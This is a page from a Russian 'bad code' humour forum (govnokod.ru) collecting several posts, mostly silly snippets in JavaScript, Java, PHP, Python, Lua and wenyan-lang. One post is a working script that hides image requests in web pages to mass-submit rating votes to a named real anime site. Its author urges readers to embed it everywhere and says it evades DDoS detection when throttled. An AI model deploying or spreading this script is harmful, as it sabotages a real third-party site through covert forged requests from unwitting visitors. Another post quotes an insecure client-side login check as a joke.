- 1
https://imgur.com/w4Dbg19
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+1
https://imgur.com/w4Dbg19
наймите @нормальных программистов
+1
<script>
document.addEventListener('DOMContentLoaded', function() {
for(let i=1; i<50; i++) {
let num = getRandomIntInclusive(1, 4447);
let img = document.createElement('img');
let img2 = document.createElement('img');
let img3 = document.createElement('img');
img.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=video&go_rate=1';
img2.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=gameplay&go_rate=1';
img3.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=sound&go_rate=1';
img.style.position = img2.style.position = img3.style.position = 'fixed';
img.style.top = img2.style.top = img3.style.top = '-50000px';
document.body.append(img);
document.body.append(img2);
document.body.append(img3);
}
});
function getRandomIntInclusive(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
Ахуенный код чтобпоказать админам что они долбоёбы и нехуй юзать get pапросы!
Поставил на несколько своих сайтов где по 300-400 просмотров в месяц. Но я также нуждаюсь в вашей поддержке, ставьте его везде где только можно!
Не палится ддосом если запускать раз в пару минут!! По моим подсчётам через год у них будут в минусе все аниме
Но если вы поддержите меня то это случится даже быстрееееееее
+2
吾有一數。曰三。名之曰「甲」。
為是「甲」遍。
吾有一言。曰「「問天地好在。」」。書之。
云云。
Программист из Шанхая создал язык программирования wenyan-lang, основанный на старинном классическом китайском языке.
Язык может компилироваться в JavaScript, Python и Ruby. К нему уже успели написать плагины для VSCode, Vim и Sublime. С полной документацией можно ознакомиться на гитхабе:
https://github.com/wenyan-lang/wenyan
Перевод на "JavaScript":
var n = 3;
for (var i = 0; i < n; i++) {
console.log("問天地好在。");
}
−1
Как наебнуть дистрибутив, читайте бесплатно без регистрации и СМС.
Способ от Oleg'а: Каряво обновить.
1) Идем на https://en.opensuse.org/SDB:System_upgrade, делаем все по инструкции.
2) Качаем 1.6 ГБ пакетов и ждем установки
3) На системном разделе в 50 гигов заканчивается место почти за 10% до конца установки
4) ctrl+C
А почему я решил обновить его именно сейчас?
Да потому что mariadb 10.2 поддерживающая JSON поля тянет зависимости вплоть до glibc.
А я уже один раз установил более свежую glibc в debian, лучше этого больше никогда не повторять.
В общем, если надо обновлять пакет - то обновляй с дистрибутивом вместе, все равно именно так и поставляют, такая вот логика.
https://software.opensuse.org/package/mariadb
Ну может еще пошаманю посижу, удалю весь мусор идущий в "start menu" и запущу апгрейд по новой, но точно не сейчас.
Потому что надо дописывать код.
Вот же я лох.
+1
public class Uptime {
private short minute;
private byte hour;
private short day;
private short month;
private short year;
public Uptime() {
ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
executorService.scheduleAtFixedRate(() -> {
minute++;
if(minute >= 61) {
hour++;
minute = 0;
if(hour >= 25) {
day++;
hour = 0;
if(day >= 31) {
month++;
day = 0;
if(month >= 13) {
year++;
month = 0;
}
}
}
}
}, 1, 1, TimeUnit.MINUTES);
}
public short getMinute() {
return minute;
}
public byte getHour() {
return hour;
}
public short getDay() {
return day;
}
public short getMonth() {
return month;
}
public short getYear() {
return year;
}
}
Код для получения аптайма приложения.
+1
switch($ext) {
case 'bmp':
case 'BMP':
$img = imagecreatefrombmp($file_name);
break;
case 'gif':
case 'GIF';
$img = imagecreatefromgif($file_name);
break;
case 'JPG'
case 'jpg':
case 'JPEG':
case 'jpeg':
$img = imagecreatefromjpeg($file_name);
break;
case 'PNG':
case 'png':
$img = imagecreatefrompng($file_name);
break;
}
Сойдет.
+1
За "PHP".
0
def parse_cmd(cmd):
output = []
state = 0
current_arg = ''
prev_c = ''
for c in cmd:
if c == ' ':
if state == 0:
if len(current_arg) > 0:
output += [current_arg]
current_arg = ''
elif state == 1:
current_arg += c
elif c == '"' and prev_c != '\\':
if len(current_arg) > 0 or state == 1:
output += [current_arg]
current_arg = ''
state = int(not state)
else:
current_arg += c
prev_c = c
if len(current_arg) > 0:
output += [current_arg]
return output
Какой FSM )))
0
_G = setmetatable(_G, {__newindex = function(t,k,v) t[k] = "sG_nil" end})
pitux=1
чо поцоны, изи рекурсия.
0
<!-- todo: put this in a different file!!! -->
<script>
function authenticateUser(username, password) {
var accounts = apiService.sql(
"SELECT * FROM users"
);
for (var i = 0; i < accounts.length; i++) {
var account = accounts[i];
if (account.username === username &&
account.password === password)
{
return true;
}
}
if ("true" === "true") {
return false;
}
}
$('#login').click(function() {
var username = $("#username").val();
var password = $("#password").val();
var authenticated = authenticateUser(username, password);
if (authenticated === true) {
$.cookie('loggedin', 'yes', { expires: 1});
} else if (authenticated === false) {
$("#error_message").show();
}
});
</script>
This JavaScript code powers a 1,500 user intranet application